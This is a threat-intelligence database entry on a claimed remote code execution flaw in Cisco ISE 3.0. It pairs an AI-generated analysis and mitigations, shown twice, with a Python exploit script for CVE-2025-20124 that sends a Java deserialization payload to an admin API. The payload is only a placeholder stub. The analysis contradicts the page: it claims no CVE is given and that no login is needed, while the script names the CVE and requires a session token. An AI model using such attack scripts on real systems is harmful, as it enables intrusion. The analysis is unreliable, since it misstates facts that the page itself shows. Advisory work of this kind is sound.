Cisco ISE 3.0 - Remote Code Execution (RCE)
Cisco ISE 3.0 - Remote Code Execution (RCE)
AI Analysis
Technical Summary
The security threat concerns a Remote Code Execution (RCE) vulnerability in Cisco Identity Services Engine (ISE) version 3.0. Cisco ISE is a widely deployed network access control and policy enforcement platform used by enterprises to manage secure access to network resources. An RCE vulnerability in this product allows an attacker to execute arbitrary code on the affected system remotely, without requiring authentication or user interaction, depending on the exploit specifics. The presence of exploit code written in Python indicates that the vulnerability can be actively exploited using automated scripts, increasing the risk of widespread attacks. Although specific technical details such as the exact vulnerability vector, affected components, or CVEs are not provided, the critical severity rating and the nature of the vulnerability imply that the flaw likely exists in a network-facing service or API within Cisco ISE 3.0. This could allow attackers to gain full control over the system, potentially leading to unauthorized access to sensitive network policies, interception or manipulation of network traffic, and lateral movement within enterprise environments. The absence of patch links suggests that either patches are not yet publicly available or the information is incomplete, which raises the urgency for organizations to monitor Cisco advisories closely and implement interim mitigations.
Potential Impact
For European organizations, the impact of this RCE vulnerability in Cisco ISE 3.0 could be severe. Cisco ISE is commonly used in large enterprises, government agencies, and critical infrastructure sectors to enforce network access policies and ensure compliance. Exploitation could lead to unauthorized network access, data breaches, disruption of network services, and compromise of sensitive information. Given the critical role of Cisco ISE in network security, attackers gaining control could manipulate authentication and authorization policies, potentially allowing malicious actors to bypass security controls and move laterally within networks. This could affect confidentiality, integrity, and availability of enterprise networks. Additionally, sectors such as finance, healthcare, telecommunications, and public administration in Europe, which rely heavily on Cisco ISE for secure network access, would be particularly vulnerable to operational disruptions and regulatory compliance violations.
Mitigation Recommendations
European organizations should immediately identify and inventory all Cisco ISE 3.0 deployments within their environments. Until official patches are released, organizations should consider the following mitigations: 1) Restrict network access to Cisco ISE management interfaces and APIs using network segmentation and firewall rules, limiting exposure to trusted administrative networks only. 2) Monitor network traffic and system logs for unusual activity or indicators of compromise related to Cisco ISE. 3) Implement strict access controls and multi-factor authentication for administrative access to Cisco ISE. 4) Apply virtual patching techniques such as Web Application Firewalls (WAFs) or Intrusion Prevention Systems (IPS) with signatures targeting known exploit patterns. 5) Engage with Cisco support and subscribe to security advisories to obtain patches and updates promptly. 6) Conduct thorough vulnerability assessments and penetration testing focused on Cisco ISE to detect potential exploitation attempts. 7) Prepare incident response plans specific to network access control compromise scenarios.
Affected Countries
Germany, United Kingdom, France, Netherlands, Italy, Spain, Sweden, Belgium, Poland, Finland
Indicators of Compromise
- exploit-code: # Exploit Title: Cisco ISE 3.0 - Remote Code Execution (RCE) # Exploit Author: @ibrahimsql ibrahimsql.com # Exploit Author's github: https://github.com/ibrahmsql # Description: Cisco ISE API Java Deserialization RCE # CVE: CVE-2025-20124 # Vendor Homepage: https://www.cisco.com/ # Requirements: requests>=2.25.0, urllib3>=1.26.0 # Usage: python3 CVE-2025-20124.py --url https://ise.target.com --session TOKEN --cmd "id" #!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import sys import argparse import base64 import urllib3 urllib3.disable_warnings() def banner(): print(r""" _________ .__ \_ ___ \|__| ______ ____ ____ / \ \/| |/ ___// ___\/ _ \ \ \___| |\___ \\ \__( <_> ) \______ /__/____ >\___ >____/ \/ \/ \/ Cisco ISE Java Deserialization RCE CVE-2025-20124 Author: ibrahmsql | github.com/ibrahmsql """) def build_serialize_payload(cmd): """ Java deserialization payload builder """ java_cmd = cmd.replace('"', '\\"') # Placeholder serialization - gerçek exploit için gadget chain gerekli payload = f'\xac\xed\x00\x05sr\x00...ExecGadget...execute("{java_cmd}")' return base64.b64encode(payload.encode()).decode() def exploit_deserialization(base_url, session_token, cmd): """ CVE-2025-20124: Java Deserialization RCE """ endpoint = f"{base_url}/api/v1/admin/deserializer" headers = { "Cookie": f"ISESSIONID={session_token}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; ISE-Exploit)" } payload = build_serialize_payload(cmd) data = {"object": payload} print(f"[+] Target: {base_url}") print(f"[+] Endpoint: {endpoint}") print(f"[+] Command: {cmd}") print(f"[+] Sending deserialization payload...") try: r = requests.post(endpoint, json=data, headers=headers, verify=False, timeout=10) if r.status_code == 200: print("[+] Payload successfully sent!") print("[+] Command possibly executed!") if r.text: print(f"[+] Response: {r.text[:500]}") elif r.status_code == 401: print("[-] Authentication failed - invalid session token") elif r.status_code == 403: print("[-] Access denied - insufficient privileges") elif r.status_code == 404: print("[-] Endpoint not found - target may not be vulnerable") else: print(f"[-] Unexpected response: {r.status_code}") print(f"[-] Response: {r.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def main(): parser = argparse.ArgumentParser( description="CVE-2025-20124 - Cisco ISE Java Deserialization RCE", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 CVE-2025-20124.py --url https://ise.company.com --session ABCD1234 --cmd "id" python3 CVE-2025-20124.py --url https://10.0.0.1:9060 --session TOKEN123 --cmd "whoami" """ ) parser.add_argument("--url", required=True, help="Base URL of Cisco ISE appliance") parser.add_argument("--session", required=True, help="Authenticated ISE session token") parser.add_argument("--cmd", required=True, help="Command to execute via deserialization") args = parser.parse_args() banner() # URL validation if not args.url.startswith(('http://', 'https://')): print("[-] URL must start with http:// or https://") sys.exit(1) exploit_deserialization(args.url, args.session, args.cmd) if __name__ == "__main__": main()
Cisco ISE 3.0 - Remote Code Execution (RCE)
Description
Cisco ISE 3.0 - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
The security threat concerns a Remote Code Execution (RCE) vulnerability in Cisco Identity Services Engine (ISE) version 3.0. Cisco ISE is a widely deployed network access control and policy enforcement platform used by enterprises to manage secure access to network resources. An RCE vulnerability in this product allows an attacker to execute arbitrary code on the affected system remotely, without requiring authentication or user interaction, depending on the exploit specifics. The presence of exploit code written in Python indicates that the vulnerability can be actively exploited using automated scripts, increasing the risk of widespread attacks. Although specific technical details such as the exact vulnerability vector, affected components, or CVEs are not provided, the critical severity rating and the nature of the vulnerability imply that the flaw likely exists in a network-facing service or API within Cisco ISE 3.0. This could allow attackers to gain full control over the system, potentially leading to unauthorized access to sensitive network policies, interception or manipulation of network traffic, and lateral movement within enterprise environments. The absence of patch links suggests that either patches are not yet publicly available or the information is incomplete, which raises the urgency for organizations to monitor Cisco advisories closely and implement interim mitigations.
Potential Impact
For European organizations, the impact of this RCE vulnerability in Cisco ISE 3.0 could be severe. Cisco ISE is commonly used in large enterprises, government agencies, and critical infrastructure sectors to enforce network access policies and ensure compliance. Exploitation could lead to unauthorized network access, data breaches, disruption of network services, and compromise of sensitive information. Given the critical role of Cisco ISE in network security, attackers gaining control could manipulate authentication and authorization policies, potentially allowing malicious actors to bypass security controls and move laterally within networks. This could affect confidentiality, integrity, and availability of enterprise networks. Additionally, sectors such as finance, healthcare, telecommunications, and public administration in Europe, which rely heavily on Cisco ISE for secure network access, would be particularly vulnerable to operational disruptions and regulatory compliance violations.
Mitigation Recommendations
European organizations should immediately identify and inventory all Cisco ISE 3.0 deployments within their environments. Until official patches are released, organizations should consider the following mitigations: 1) Restrict network access to Cisco ISE management interfaces and APIs using network segmentation and firewall rules, limiting exposure to trusted administrative networks only. 2) Monitor network traffic and system logs for unusual activity or indicators of compromise related to Cisco ISE. 3) Implement strict access controls and multi-factor authentication for administrative access to Cisco ISE. 4) Apply virtual patching techniques such as Web Application Firewalls (WAFs) or Intrusion Prevention Systems (IPS) with signatures targeting known exploit patterns. 5) Engage with Cisco support and subscribe to security advisories to obtain patches and updates promptly. 6) Conduct thorough vulnerability assessments and penetration testing focused on Cisco ISE to detect potential exploitation attempts. 7) Prepare incident response plans specific to network access control compromise scenarios.
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Technical Details
- Edb Id
- 52396
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Cisco ISE 3.0 - Remote Code Execution (RCE)
# Exploit Title: Cisco ISE 3.0 - Remote Code Execution (RCE) # Exploit Author: @ibrahimsql ibrahimsql.com # Exploit Author's github: https://github.com/ibrahmsql # Description: Cisco ISE API Java Deserialization RCE # CVE: CVE-2025-20124 # Vendor Homepage: https://www.cisco.com/ # Requirements: requests>=2.25.0, urllib3>=1.26.0 # Usage: python3 CVE-2025-20124.py --url https://ise.target.com --session TOKEN --cmd "id" #!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import sys imp... (3280 more characters)
Threat ID: 689a95b8ad5a09ad002b09b2
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 9/26/2025, 1:20:41 AM
Last updated: 9/26/2025, 4:44:49 AM
Views: 74
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